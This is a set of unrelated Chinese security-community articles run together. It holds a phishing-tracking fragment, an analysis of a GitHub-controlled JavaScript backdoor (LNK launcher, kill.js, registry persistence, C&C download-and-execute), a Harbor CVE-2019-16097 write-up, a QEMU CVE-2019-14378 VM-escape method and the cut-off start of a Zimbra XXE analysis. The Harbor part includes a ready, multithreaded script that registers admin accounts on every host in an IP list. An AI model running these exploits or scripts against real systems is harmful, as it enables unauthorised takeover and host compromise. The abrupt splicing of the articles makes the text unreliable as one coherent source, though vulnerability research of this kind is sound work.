假设我们的钓鱼邮件中包含一个诱饵，诱导用户访问我们控制的一个Web页面，以便进一步枚举用户信息，此时我们可以嵌入一个类似的`IMG`标签，这一次使用的是`step=2`，以便跟踪用户的受骗深度。
在同一个页面中，我们可以包含一个隐藏的`iframe`，再次请求枚举函数，枚举客户端的软件插件信息。请注意，这里我们需要提取令牌信息并将其重新插入`iframe`链接中，JavaScript很容易就可以完成这个任务，这里不再赘述：
<iframe src="https://x6025fpeq1.execute-api.eu-west-1.amazonaws.com/webbug/collect/enum?token=abcd" style="width:0; height:0; border:0; border:none" />
这次枚举操作会向`collector`函数发起POST请求，后者会将结果插入RDS数据库中，如下图所示：
由于我们的数据库采用云托管方案，我们选择不在数据库中存放敏感数据，所有用户都采用`UUID`值来标识。将结果存放在数据库中非常方便，我们可以根据实际需要来显示、组织并搜索这些信息，这一部分工作留待大家来完成。
出于安全目的，大家可能想使用自定义域名来配置Lambda函数，大家可以参考Amazon[官方文档](https://docs.aws.amazon.com/apigateway/latest/developerguide/how-to-custom-domains.html)的详细介绍，本文不再赘述。 | 社区文章 |
# 使用 Github 作为 C&C 服务的 JavaScript 后门分析
|
##### 译文声明
本文是翻译文章，文章来源：http://www.pwncode.club/
原文地址：<http://www.pwncode.club/2018/05/javascript-based-bot-using-github-c.html>
译文仅供参考，具体内容表达以及含义原文为准。
## 写在前面的话
最近在2018年5月22日发现了一个有趣的LNK文件，该文件使用了一个利用github进行C＆C通信的机制，并使用了一个新的基于JavaScript的Bot来在系统上执行恶意活动。
## ZIP文件
MD5哈希值： `f444bfe1e65b5e2bef8984c740bd0a49`
LNK文件的MD5哈希值： `219dedb53da6b1dce0d6c071af59b45c`
文件名： `200_Germany.lnk`
配置文件末尾提及文件详细信息。
LNK文件的目标如下所示：
`%comspec% /c copy 2*.lnk %tmp%&%systemdrive%&cd %tmp%&attrib +r *.lnk&for /f
"delims=" %a in ('dir /s /b *.LnK') do type "%~fa" | find "p0b2x6">.js
&CsCRipt .js "%~fa"`
这个LNK文件中包含一个恶意JavaScript脚本，它将被删除并使用cscript执行。
JavaScript如下所示：
它还包含一个诱饵CSV文件，该文件将在执行后显示给最终用户。
LNK文件首先搜索其中包含标记`“p0b2x6”`的所有代码行。这些行中都会对应将用于执行进一步恶意活动的JavaScript脚本。
## 分析JavaScript文件
1.使用以下WMI查询收集在本机上运行的AV软件的信息：
`SELECT displayName FROM AntiVirusProduct`
2.通过运行WMI查询收集有关OS版本的信息：
`SELECT * FROM Win32_OperatingSystem`
3.诱饵内容将从LNK文件中提取，并以文件名`200_Germany.csv`放在文件系统上。这是显示给用户的诱饵文件，如下所示：
4.它会在路径中创建存储目录：`％localappdata％ Microsoft PackageCache
{37B8F9C7-03FB-3253-8781-2517C99D7C00}“`
请注意，环境变量`％localappdata％`仅出现在Windows 7和以上版本中
5.它创建在存储目录中的一个文件`kill.js`具有以下内容：
var oWMISrvc = GetObject("winmgmts:\\.\root\cimv2");while(1){WScript.Sleep(180000); cProcNIE();}function cProcNIE() {try {var colProcLst = oWMISrvc.ExecQuery("SELECT * FROM Win32_Process WHERE CommandLine LIKE '%-Embedding%' AND Name = 'iexplore.exe'");var objItem = new Enumerator(colProcLst);for(;!objItem.atEnd();objItem.moveNext()) {var p = objItem.item();p.Terminate();}} catch (e) {}}
这个JS文件的目的是杀死任何正在运行的具有命令行参数匹配的`Internet
Explorer`实例：`“-Embedding”`。这样做的原因是因为JavaScript要使用`InternetExplorer.Application
ActiveX Object`来执行C＆C通信。
6.使用以下内容在存储目录中创建`startup.js`文件：
var WshShell = new ActiveXObject("WScript.Shell");
WshShell.Run("C:\Windows\System32\cscript.exe %localappdata%\Microsoft\PackageCache\{37B8F9C7-03FB-3253-8781-2517C99D7C00}\file.js", 0, 0);;
该文件的目的是执行主恶意JavaScript文件。
7.将主JavaScript文件复制到存储目录中，并重命名为`file.js`。
8.执行主`JavaScript file.js`
9.删除JavaScript的原始实例。
从存储目录执行主JavaScript时执行以下操作。
10.在存储目录中创建一个lck文件`h.lck`。
11.按照上述步骤5中的描述杀死任何正在运行的`iexplore.exe`实例。
12.使用以下信息在存储目录中创建Windows注册表文件g3r.reg：
Windows注册表编辑器版本5.00
[HKEY_CURRENT_USERSoftwareMicrosoftWindows NTCurrentVersionWindows]
"run"="%localappdata%\Microsoft\PackageCache\{37B8F9C7-03FB-3253-8781-2517C99D7C00}\services.lnk"
[HKEY_CURRENT_USERControl PanelCursors]
"AppStarting"=hex(2):25,00,53,00,79,00,73,00,74,00,65,00,6d,00,52,00,6f,00,6f,00,74,00,25,00,5c,00,63,00,75,00,72,00,73,00,6f,00,72,00,73,00,5c,00,61,00,65,00,72,00,6f,00,5f,00,61,00,72,00,72,00,6f,00,77,00,2e,00,63,00,75,00,72,00,00,00
[HKEY_CURRENT_USERSoftwareMicrosoftInternet ExplorerMain]
"Check_Associations"="no"
"NoProtectedModeBanner"=dword:00000001
"IE10RunOncePerInstallCompleted"=dword:00000001
[HKEY_CURRENT_USERSoftwareMicrosoftInternet ExplorerRecovery]
"AutoRecover"=dword:00000002
[HKEY_CURRENT_USERSoftwareMicrosoftInternet ExplorerPhishingFilter]
"EnabledV9"=dword:00000001
[HKEY_CURRENT_USERSoftwareMicrosoftInternet ExplorerBrowserEmulation]
"MSCompatibilityMode"=dword:00000001
[HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionExplorerAdvanced]
"EnableBalloonTips"=dword:00000000
[HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionInternet Settings]
"GlobalUserOffline"=dword:00000000
[HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionInternet SettingsZones3]
"2500"=dword:00000003
[HKEY_CURRENT_USERSoftwarePiriformCCleaner]
"BrowserMonitoring"=- "(Mon)3001"=-
此注册表文件使用：`reg import`命令，它会创建Persistence注册表项，该注册表项指向存储目录中的`service.lnk`文件。
13.在存储目录中创建名称为`service.lnk`的快捷方式LNK文件，并指向存储目录中的`startup.js`。
## C＆C通信
这个样本中最有趣的是C＆C通信部分，因为C＆C服务器地址从github中获取，如下所示：
JavaScript调用`extract_srvaddr()`函数执行以下主要操作：
1.连接到以下github URL：
<https://raw.githubusercontent.com/deadpooool/news/master/README.md>
<https://raw.githubusercontent.com/anvaperhdfjkdhud/1234/master/README.md>
寻找模式：`“our news start at (.*) thank you”`
请参阅下面的截图：
2.一旦找到上述模式，它就提取数字。在我们的例子中，数字是：2077937692956.这个数字是C＆C
IP地址的十进制表示：185.247.211.198。
3.它调用函数`num2dot()`将上面的数字转换为IP地址。
4.C＆C服务器的验证：它使用一种方法来验证C＆C服务器是否确实是实际的预期服务器而不是分析服务器。为此，它构造了以下URL`http://<C&C_server>/Validate/ValSrv`
它连接到上面的URL并查找字符串：`youwillnotfindthisanywhare`。
请参阅下面的截图。
如果在HTML响应中找到该字符串，则继续执行。
## 数据泄露和C＆C命令
基于JavaScript的机器人和C＆C服务器之间的通信使用`InternetExplorer.Application
ActiveXObject`的实例进行。函数`get_page_content_with_ie()`用于将GET和POST请求发送到C＆C服务器。
发送的主要请求如下所示：
getid：使用以下数据向网址`hxxp：//185.247.211.198//Validate/getid`发送HTTP POST请求：
`action = getSerial＆computer_name = <computer_name>＆username =
<username>＆version = 1.3＆cli = bd`
作为响应，C＆C服务器将返回ID，如下所示：
`1312433611441862`
getcommand：它通过向URL发送HTTP
POST请求来从C＆C服务器检索命令：hxxp：//185.247.211.198/Validate/getcommand并发送以下数据：`action =
getCommand＆uid = <id>`
服务器响应以下数据：
`{'command'：''，'timeout'：'5'，'interpreter '：''}`
在验证时，C＆C服务器没有响应命令。
但是，基于JavaScript的静态分析，它将对该命令执行以下操作：
1.解析搜索关键字“下载”的命令
2.如果找到关键字“下载”，则它将分割值使用分隔符，“|”
3.向URL发送HTTP GET请求：`hxxp：//185.247.211.198/Validate/dwnld？u = <value>`以获取响应
4.如果响应是二进制文件，那么该文件将被删除并执行。
否则，命令将直接使用cmd.exe执行
## 配置文件
> URLs:
> [‘[https://raw.githubusercontent.com/deadpooool/news/master/README.md’,’https://raw.githubusercontent.com/anvaperhdfjkdhud/1234/master/README.md](https://raw.githubusercontent.com/deadpooool/news/master/README.md','https://raw.githubusercontent.com/anvaperhdfjkdhud/1234/master/README.md)‘];
> version = “1.3”
> ref = “bd”
> StorageDir =
> WshShell.ExpandEnvironmentStrings(“%localappdata%”)+”MicrosoftPackageCache{37B8F9C7-03FB-3253-8781-2517C99D7C00}”;
> startup_shortcut = services.lnk
> agent_location = file.js
> agent_hidden_executer = startup.js
> g3r = g3r.reg
> agent_id_location = id
> lckFile = h.lck
> ieFile = kill.js
> sctFile = SC7.P7D
> pyFile = main.py | 社区文章 |
目录
* 0x01 前言
* 0x02 漏洞简介及危害
* 0x03 漏洞复现
* 0x04 代码分析
* 0x05 批量脚本
* 0x06 修复建议
* 0x07 免责声明
* * *
# 0x01 前言
Harbor是一个用于存储和分发Docker镜像的企业级Registry服务器，通过添加一些企业必需的功能特性，例如安全、标识和管理等，扩展了开源Docker
Distribution。作为一个企业级私有Registry服务器，Harbor提供了更好的性能和安全。提升用户使用Registry构建和运行环境传输镜像的效率。Harbor支持安装在多个Registry节点的镜像资源复制，镜像全部保存在私有Registry中，
确保数据和知识产权在公司内部网络中管控。另外，Harbor也提供了高级的安全特性，诸如用户管理，访问控制和活动审计等。
* * *
# 0x02 漏洞简介及危害
因注册模块对参数校验不严格，可导致任意管理员注册。
文档名称 | Harbor权限提升漏洞安全预警通告
---|---
关键字 | Harbor、CVE-2019-16097
发布日期 | 2019年09月19日
危及版本 | Harbor 1.7.6之前版本 Harbor 1.8.3之前版本
Harbor 1.7.6之前版本和Harbor
1.8.3之前版本中的core/api/user.go文件存在安全漏洞。若开放注册功能，攻击者可利用该漏洞创建admin账户。注册功能默认开放。攻击者可以以管理员身份下载私有项目并审计；可以删除或污染所有镜像。
目前PoC已公开，建议受影响的客户尽快升级。
* * *
# 0x03 漏洞复现
使用fofa语法搜索
title="Harbor" && country=CN
[
* * *
找到注册页面
[
* * *
点击注册抓包，改包，在最后数据包加上：
"has_admin_role":true
* * *
[
* * *
修改成功，成功添加账号密码。并登陆成功！
[
* * *
# 0x04 代码分析
**声明：代码分析来着奇安信团队，原文地址：[【预警通告】Harbor权限提升漏洞安全预警通告](https://mp.weixin.qq.com/s/PGkuysZwbIlIc5DWARUxcw)**
分析代码的commit
hash为e7488e37b69319fa9dcbaab57499bec5c8aed08a，此commit中尚未包含补丁。受影响的API请求地址是/api/users/，请求方式为POST，因此从API的路由中找到入口点，位置在src/core/router.go50行：
可以看到其将此POST请求路由到了api.UserAPI中，找到api.UserAPI的处理POST请求的位置在src/core/api/user.go的302行，跟进代码，发现其先后判断认证方式，是否开启自行注册（默认开启）然后实例化了User结构体：
我们先来看一下User结构体，位置在src/common/models/user.go 25行：
注意其中HasAdminRole字段对应的数据库表现形式和JSON请求表现形式。其在数据库中的字段表现形式为sysadmin_flag，JSON表现形式为has_admin_role
再继续跟入，后面的过程依次是，反序列化请求JSON串为User结构体，验证用户提交的User格式是否正确（用户名规范和密码规范）判断用户名和email字段是否已存在，然后直接调用数据库访问层的dao.Register()方法执行数据库插入的操作：
跟入dao.Register()方法中，位置在src/common/dao/register.go26行，可以看到其直接将User结构体的HasAdminRole字段插入到数据库
在github上进行commitdiff（<https://github.com/goharbor/harbor/pull/8917/commits/b6db8a8a106259ec9a2c48be8a380cb3b37cf517#diff-fb70049a82e5abd89a68c8e2cccba44c）对比，可以看到此次提交对注册用户的请求进行了逻辑判断，不允许非管理员用户创建新的管理员用户。>
* * *
# 0x05 批量脚本
脚本来源于T9sec team
import requests
import json
import csv
from concurrent.futures import ThreadPoolExecutor
def exp(url):
url = url + '/api/users'
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)',
'Content-Type': 'application/json',
}
payload = {
"username": "test1",
"email": "[email protected]",
"realname": "test1",
"password": "Aa123456",
"comment": "test1",
"has_admin_role": True
}
payload = json.dumps(payload)
try:
requests.packages.urllib3.disable_warnings()
r = requests.post(url, headers=headers, data=payload, timeout=2, verify=False)
if r.status_code == 201:
print(url)
except Exception as e:
pass
if __name__ == '__main__':
data = open('ip.txt') # 批量IP
reader = csv.reader(data)
# 50是线程
with ThreadPoolExecutor(50) as pool:
for row in reader:
if 'http' not in row[0]:
url = 'http://' + row[0]
else:
url = row[0]
pool.submit(exp, url)
* * *
# 0x06 修复建议
升级到1.7.6及以上版本或者1.8.3及以上版本
**临时缓解方案：**
关闭允许自行注册功能（Allow Self-Registration）
* * *
# 0x07 免责声明
本文中提到的漏洞利用Poc和脚本仅供研究学习使用，请遵守《网络安全法》等相关法律法规。 | 社区文章 |
[CVE-2019-14378](https://access.redhat.com/security/cve/cve-2019-14378)是在QEMU网络后端中发现的一个指针计算错误漏洞，当重新组装大型IPv4分段数据包以进行处理时，就会触发该漏洞。在本文中，我们将对该漏洞的本身及其利用方法进行详细的介绍。
## [](https://blog.bi0s.in/2019/08/20/Pwn/VM-Escape/2019-07-29-qemu-vm-escape-cve-2019-14378/#Vulnerability-Details "Vulnerability Details")漏洞详情
QEMU内部网络功能分为两部分：
* 提供给客户机的虚拟网络设备（例如PCI网卡）。
* 与模拟NIC交互的网络后端（例如，将数据包推送至宿主机的网络）。
默认情况下，QEMU会为guest虚拟机创建SLiRP用户网络后端和适当的虚拟网络设备（例如e1000 PCI卡）
实际上，本文介绍的漏洞是在SLiRP中的数据包重组代码中发现的。
### [](https://blog.bi0s.in/2019/08/20/Pwn/VM-Escape/2019-07-29-qemu-vm-escape-cve-2019-14378/#IP-fragmentation "IP fragmentation")IP分段
>
> IP协议在传输数据包时,将数据包分为若干分段进行传输,并在目标系统中进行重组,这一过程称为IP分段(Fragmentation)。这么做的好处，就是分段后的数据包可以顺利通过最大传输单元（MTU）小于原始数据包大小的链路。
0 1 2 3
0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|Version| IHL |Type of Service| Total Length |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Identification |Flags| Fragment Offset |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Time to Live | Protocol | Header Checksum |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Source Address |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Destination Address |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Options | Padding |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
### [](https://blog.bi0s.in/2019/08/20/Pwn/VM-Escape/2019-07-29-qemu-vm-escape-cve-2019-14378/#Flags "Flags:")分段标志位 :
标志位的长度为3 bit
* Bit 0: 保留未用，必须为零
* Bit 1: (DF) 0 = 允许进行分段，1 = 不允许分段。
* Bit 2: (MF) 0 = Last Fragment, 1 = More Fragments.
* Fragment Offset: 13 bit
struct mbuf {
/* header at beginning of each mbuf: */
struct mbuf *m_next; /* Linked list of mbufs */
struct mbuf *m_prev;
struct mbuf *m_nextpkt; /* Next packet in queue/record */
struct mbuf *m_prevpkt; /* Flags aren't used in the output queue */
int m_flags; /* Misc flags */
int m_size; /* Size of mbuf, from m_dat or m_ext */
struct socket *m_so;
char *m_data; /* Current location of data */
int m_len; /* Amount of data in this mbuf, from m_data */
...
char *m_ext;
/* start of dynamic buffer area, must be last element */
char m_dat[];
};
``mbuf`结构用于存储接收到的IP层信息。该结构含有两个缓冲区，其中`m_dat`缓冲区位于结构内部，如果`m_dat`无法完整保存数据包，则在堆上分配`m_ext`缓冲区。
进行NAT转换时，如果传入的数据包是分段的，那么，在编辑和重新传输之前首先需要进行重组。这个重组过程是由`ip_reass(Slirp *slirp,
struct ip *ip, struct ipq *fp)`
函数完成的。其中，`ip`用于存放当前IP数据包的数据，`fp`一个存放分段数据包的链接列表。
* ip_reass 将执行下列步骤：
* 如果第一个分段到达（fp == NULL），则创建一个重组队列并将`ip`插入该队列。
* 检查该分段是否与先前收到的分段重复，如果重复的话，则将其丢弃。
* 如果收到了所有分段数据包，则对其进行重组。然后，为生成的新IP数据包创建一个新的头部，方法是修改第一个数据包的头部；
/*
* Take incoming datagram fragment and try to
* reassemble it into whole datagram. If a chain for
* reassembly of this datagram already exists, then it
* is given as fp; otherwise have to make a chain.
*/
static struct ip *ip_reass(Slirp *slirp, struct ip *ip, struct ipq *fp)
{
...
...
/*
* Reassembly is complete; concatenate fragments.
*/
q = fp->frag_link.next;
m = dtom(slirp, q);
q = (struct ipasfrag *)q->ipf_next;
while (q != (struct ipasfrag *)&fp->frag_link) {
struct mbuf *t = dtom(slirp, q);
q = (struct ipasfrag *)q->ipf_next;
m_cat(m, t);
}
/*
* Create header for new ip packet by
* modifying header of first packet;
* dequeue and discard fragment reassembly header.
* Make header visible.
*/
q = fp->frag_link.next;
/*
* If the fragments concatenated to an mbuf that's
* bigger than the total size of the fragment, then and
* m_ext buffer was alloced. But fp->ipq_next points to
* the old buffer (in the mbuf), so we must point ip
* into the new buffer.
*/
if (m->m_flags & M_EXT) {
int delta = (char *)q - m->m_dat;
q = (struct ipasfrag *)(m->m_ext + delta);
}
本文介绍的漏洞位于计算变量delta的代码中。这些代码假定第一个分段数据包不会被分配到外部缓冲区（m_ext）中。当数据包数据位于`mbuf->m_dat`
中时，`q -m->dat`计算是正确的（因为q位于m_dat缓冲区内；q是一个含有分段链接列表和数据包数据的结构）。否则，如果分配了`m_ext`缓冲区，那么q将被存放到外部缓冲区中，因此关于`delta`的计算将是错误的。
slirp/src/ip_input.c:ip_reass
ip = fragtoip(q);
ip->ip_len = next;
ip->ip_tos &= ~1;
ip->ip_src = fp->ipq_src;
ip->ip_dst = fp->ipq_dst;
后来新计算的指针`q`被转换成`ip`结构并修改了其值。由于delta的计算是错误的，所以，`ip`将指向不正确的位置，而且`ip_src`和`ip_dst`可用于将受控数据写入计算得到的位置。如果计算出的ip位于未映射的内存空间中，这就可能会导致qemu发生崩溃。
## [](https://blog.bi0s.in/2019/08/20/Pwn/VM-Escape/2019-07-29-qemu-vm-escape-cve-2019-14378/#Exploitation "Exploitation")漏洞利用
我们面对的情况是：
* 如果我们能够控制`delta`，我们就能向m->m_ext处的内存空间写入受控数据。为此，我们需要精确地控制堆。
* 需要泄漏某些东东，以绕过ASLR保护机制。
* 堆上没有可用于实现代码执行的函数指针。因此，我们必须获取任意写操作权限。
### [](https://blog.bi0s.in/2019/08/20/Pwn/VM-Escape/2019-07-29-qemu-vm-escape-cve-2019-14378/#Controlling-Heap "Controlling Heap")控制堆
让我们看看slirp是如何分配堆对象的。
// How much room is in the mbuf, from m_data to the end of the mbuf
#define M_ROOM(m)\
((m->m_flags & M_EXT) ? (((m)->m_ext + (m)->m_size) - (m)->m_data) :\
(((m)->m_dat + (m)->m_size) - (m)->m_data))
// How much free room there is
#define M_FREEROOM(m) (M_ROOM(m) - (m)->m_len)
slirp/src/slirp.c:slirp_input
m = m_get(slirp); // m_get return mbuf object, internally calls g_malloc(0x668)
...
/* Note: we add 2 to align the IP header on 4 bytes,
* and add the margin for the tcpiphdr overhead */
if (M_FREEROOM(m) < pkt_len + TCPIPHDR_DELTA + 2) { // TCPIPHDR_DELTA + 2 =
m_inc(m, pkt_len + TCPIPHDR_DELTA + 2); // allocates new m_ext buffer since m_dat is insufficiant
}
...
if (proto == ETH_P_IP) {
ip_input(m);
`其中，`m_get`、`m_free`、`m_inc`和`m_cat`是用于处理动态内存分配的包装器。当新的数据包到达时，将分配新的mbuf对象，并且，如果m_dat的空间足以存储数据包数据，则使用它；否则的话，则使用“m_inc”分配新的外部缓冲区，并将数据复制到该缓冲区中。
slirp/src/ip_input.c:ip_input
/*
* If datagram marked as having more fragments
* or if this is not the first fragment,
* attempt reassembly; if it succeeds, proceed.
*/
if (ip->ip_tos & 1 || ip->ip_off) {
ip = ip_reass(slirp, ip, fp);
if (ip == NULL)
return;
slirp/src/ip_input.c:ip_reass
/*
* If first fragment to arrive, create a reassembly queue.
*/
if (fp == NULL) {
struct mbuf *t = m_get(slirp);
...
如果传入的数据包被分段，则使用新的`mbuf`对象来存储数据包（fp），直到所有片段都到达为止。当下一部分到达时，它们将被放入该列表，以进行排队。
这为我们提供了一个很好的原语，借助它，我们可以根据堆大小( > 0x608
)来分配受控的内存块。要记住的几件事情是，对于每个数据包，都会为其分配mbuf（0x670）缓冲区，如果它是第一个片段，还将分配另一个mbuf（fp：分段队列）。
malloc(0x670)
if(pkt_len + TCPIPHDR_DELTA + 2 > 0x608)
malloc(pkt_len + TCPIPHDR_DELTA + 2)
if(ip->ip_off & IP_MF)
malloc(0x670)
我们可以使用它执行堆喷射操作，这样后面的内存分配都将在顶部内存块中进行，这就给我们提供了一个可预测的堆状态。
### [](https://blog.bi0s.in/2019/08/20/Pwn/VM-Escape/2019-07-29-qemu-vm-escape-cve-2019-14378/#Getting-controlled-write-on-heap "Getting controlled
write on heap")实现堆的受控写操作
这样，我们就可以控制堆了。让我们看看如何使用这个漏洞来覆盖某些有用的东西。
q = fp->frag_link.next; // Points to first fragment
if (m->m_flags & M_EXT) {
int delta = (char *)q - m->m_dat;
q = (struct ipasfrag *)(m->m_ext + delta);
}
假设堆的布局如下所示：
+------------+
| q |
+------------+
| |
| |
| padding |
| |
| |
+------------+
| m->m_dat |
+------------+
现在，`delta`将会`-padding`，然后与`m->m_ext`相加，这样我们就可以向该偏移量处执行写操作了。因此，只要能够控制这个padding，我们就能够控制delta。
当所有片段都到达时，它们会通过`m_cat`函数连接成一个`mbuf`对象。
slirp/src/muf.c
void m_cat(struct mbuf *m, struct mbuf *n)
{
/*
* If there's no room, realloc
*/
if (M_FREEROOM(m) < n->m_len)
m_inc(m, m->m_len + n->m_len);
memcpy(m->m_data + m->m_len, n->m_data, n->m_len);
m->m_len += n->m_len;
m_free(n);
}
slirp/src/muf.c
void m_inc(struct mbuf *m, int size)
{
...
if (m->m_flags & M_EXT) {
gapsize = m->m_data - m->m_ext;
m->m_ext = g_realloc(m->m_ext, size + gapsize);
...
}
函数`m_inc`会调用`realloc`函数，而realloc函数将返回相同的内存块，如果它可以容纳所请求的内存大小的话。因此，即使在重组数据包之后，我们也可以访问第一个数据包的m->m_ext缓冲区。注意，m_ext缓冲区将被分配给第一个分段数据包，而`q`将指向该缓冲区。并且，`-padding`也将相对于`q`而言的。这只是为了让事情变得更轻松。
+------------+
| target |
+------------+
| |
| |
| padding |
| |
| |
m-m_ext -> +------------+ // q = m->m_ext + -padding will point to target
| q | // delta = -paddig
+------------+
| |
| |
| padding |
| |
| |
+------------+
| m->m_dat |
+------------+
因此，在完成指针运算后，`q`将指向`target`
slirp/src/ip_input.c:ip_reass
ip = fragtoip(q);
...
ip->ip_src = fp->ipq_src;
ip->ip_dst = fp->ipq_dst;
由于我们可以控制`fp->ipq_src`和`fp->ipq_dst`了（即数据包的源和目标ip），所以，我们自然可以覆盖目标内容了。
### [](https://blog.bi0s.in/2019/08/20/Pwn/VM-Escape/2019-07-29-qemu-vm-escape-cve-2019-14378/#Arbitrary-Write "Arbitrary Write")任意写操作
我的初始目标是覆盖`m_data`字段，这样我们就可以使用完成数据包重组的`m_cat()`函数来执行任意写操作了。不过，由于某些对齐和偏移问题，这似乎是难以完成的。
slirp/src/muf.c:m_cat
memcpy(m->m_data + m->m_len, n->m_data, n->m_len);
不过，我们却能够覆盖对象的`m_len`字段。由于没有对`m_cat`函数进行相应的检查，所以，我们可以使用`m_len`来执行相对于`m_data`的任意写操作。这样的话，我们就可以无视对齐的问题了——我们可以这种方法来覆盖不同对象的`m_data`以执行任意写操作。
* 发送一个id为“0xdead”且MF位为1的数据包
* 发送一个id为“0xcafe”且且MF位为1的数据包
* 触发漏洞，从而覆盖`0xcafe`数据包的m_len，使m_data+m_len指向`0xdead`数据包的m_data
* 发送一个id为“0xcafe”且MF位为0的数据包，以触发重组过程并用目标地址覆盖“0xdead”数据包的m_data
* 发送一个id为“0xdead”且MF位为0的数据包，该数据包会将其内容写入m_data。
### [](https://blog.bi0s.in/2019/08/20/Pwn/VM-Escape/2019-07-29-qemu-vm-escape-cve-2019-14378/#Getting-Leaks "Getting Leaks")实现数据泄露
我们需要借助数据泄漏来绕过ASLR和PIE防御机制。为此，我们需要借助一些方法将数据传回给客户机。事实证明，有一个非常常见的服务非常适合用于完成这项任务：ICMP回应请求。我们知道，SLiRP网关会响应ICMP回应请求，以指出数据包的有效载荷（payload）没有发生变化。
我们已经找到了实现任意写操作的方法，但是具体将数据写到哪里呢？这需要通过泄漏某些重要的数据来确定。
我们可以部分覆盖`m_data`并在堆上写入数据。
通过数据泄漏，我们可以：
* 通过任意写操作在堆上创建伪ICMP报头
* 发送设置了MF位的ICMP请求。
* 部分覆盖`m_data`，使其指向堆上伪造的报头
* 通过发送MF位为0的数据包来结束ICMP请求。
* 接收从宿主机泄漏的重要数据。
### [](https://blog.bi0s.in/2019/08/20/Pwn/VM-Escape/2019-07-29-qemu-vm-escape-cve-2019-14378/#Getting-Code-Execution "Getting Code Execution")实现代码执行
定时器（更准确地说是QEMUTimers）为我们提供了一种在经过一段时间间隔后调用给定例程（回调函数）的方法，为此，只需传递一个指向该例程的不透明指针即可。
struct QEMUTimer {
int64_t expire_time; /* in nanoseconds */
QEMUTimerList *timer_list;
QEMUTimerCB *cb;
void *opaque;
QEMUTimer *next;
int scale;
};
struct QEMUTimerList {
QEMUClock *clock;
QemuMutex active_timers_lock;
QEMUTimer *active_timers;
QLIST_ENTRY(QEMUTimerList) list;
QEMUTimerListNotifyCB *notify_cb;
void *notify_opaque;
QemuEvent timers_done_ev;
};
main_loop_tlg是bss中的一个数组，其中包含与不同定时器关联的`QEMUTimerList`。它们实际上就是存放`QEMUTimer`结构的列表。qemu会循环遍历这些定时器，以检查是否有到期的，如果有的话，则使用参数`opaque`来调用`cb`函数。
RIP可以控制：
* 创建伪造的QEMUTimer，赋予回调函数system权限，以opaque为其参数
* 创建伪造的QEMUTImerList，其中包含我们伪造的QEMUTimer
* 使用伪造的QEMUTimerList覆盖main_loop_tlg的元素
您可以在[CVE-2019-14378]（<https://github.com/vishnudevtj/exploits/tree/master/qemu/CVE-2019-14378）找到完整的exploit。>
演示视频：<https://blog.bi0s.in/2019/08/20/Pwn/VM-Escape/2019-07-29-qemu-vm-escape-cve-2019-14378/cve_2019_14378.mp4>
### 参考文献
* [QEMU Networking](https://wiki.qemu.org/Documentation/Networking)
* [IP Fragmentation](https://en.wikipedia.org/wiki/IP_fragmentation)
* [Internet Header Format](https://tools.ietf.org/html/rfc791#section-3.1)
* [Virtunoid: A KVM Guest - Host privilege](https://media.blackhat.com/bh-us-11/Elhage/BH_US_11_Elhage_Virtunoid_WP.pdf)
* [CVE-2019-6778](https://github.com/Kira-cxy/qemu-vm-escape)
[原文地址](https://blog.bi0s.in/2019/08/20/Pwn/VM-Escape/2019-07-29-qemu-vm-escape-cve-2019-14378/) | 社区文章 |
《A Saga of Code Executions on Zimbra》原文地址：
<https://blog.tint0.com/2019/03/a-saga-of-code-executions-on-zimbra.html>
<https://paper.tuisec.win/detail/8ac5a3d1efbf40b>
踩着前人的脚步来一波分析+复现。
## Zimbra是啥？
百度上说：Zimbra提供一套开源协同办公套件包括WebMail，日历，通信录，Web文档管理和创作。它最大的特色在于其采用Ajax技术模仿CS桌面应用软件的风格开发的客户端兼容Firefox,Safari和IE浏览器。
嗯。。其实就是一套邮件系统。。
## 下载Zimbra的包：
1.从地址<https://www.zimbra.com/downloads/zimbra-collaboration-open-source/下载了Zimbra> 8.6.0的开源版,并解压
2.解压packages/zimbra-core-***.rpm,得到zimbra核心库的内容，命令如下：
#需要自行安装rpm2cpio
rpm2cpio zimbra-core-8.6.0_GA_1153.RHEL6_64-20141215151155.x86_64.rpm | cpio -div
github上其实也有源码，但是jd-gui方便代码追踪
<https://github.com/Grynn/zimbra-mirror>
## 利用XXE读取密码：
CVE-2019-9670，文章中提示使用Autodicovers
查找zimbra-core中带有Autodicover的类名
find . -name "*.jar"|awk '{print "jar -tvf "$1}' | sh -x | grep -i Autodiscover
找到如下两个包：
* jar -tvf ./j2sdk-20140721/jre/lib/ext/nashorn.jar
1758 Tue Jul 29 17:08:16 CST 2014
jdk/internal/dynalink/support/AutoDiscovery.class
* jar -tvf ./lib/jars/zimbrastore.jar
20149 Mon Dec 15 15:19:12 CST 2014
com/zimbra/cs/service/AutoDiscoverServlet.class
可以看出nashorn.jar是jre的中的jar包，应该不是我们的目标，而AutoDiscoverServlet带有Servlet字样，应是对外提供服务的。
在Zimbra的Wiki中<https://wiki.zimbra.com/wiki/Autodiscover，给出了Autodiscovery的地址为/Autodiscover/Autodiscover.xml(其实这个功能应该是exchange的>)
向/Autodiscover/Autodiscover.xml POST一个空的xml：
发现提示：No Email address is specified in the
Request,在AutoDiscoverServlet.class的doPost中找到如下代码，确认为Autodiscover功能对应类。
* * *
使用Jd-gui反编译代码，发现如下代码逻辑:
public void doPost(HttpServletRequest req, HttpServletResponse resp){
...
reqBytes = ByteUtil.getContent(req.getInputStream(), req.getContentLength());
...
String content = new String(reqBytes, "UTF-8");
...
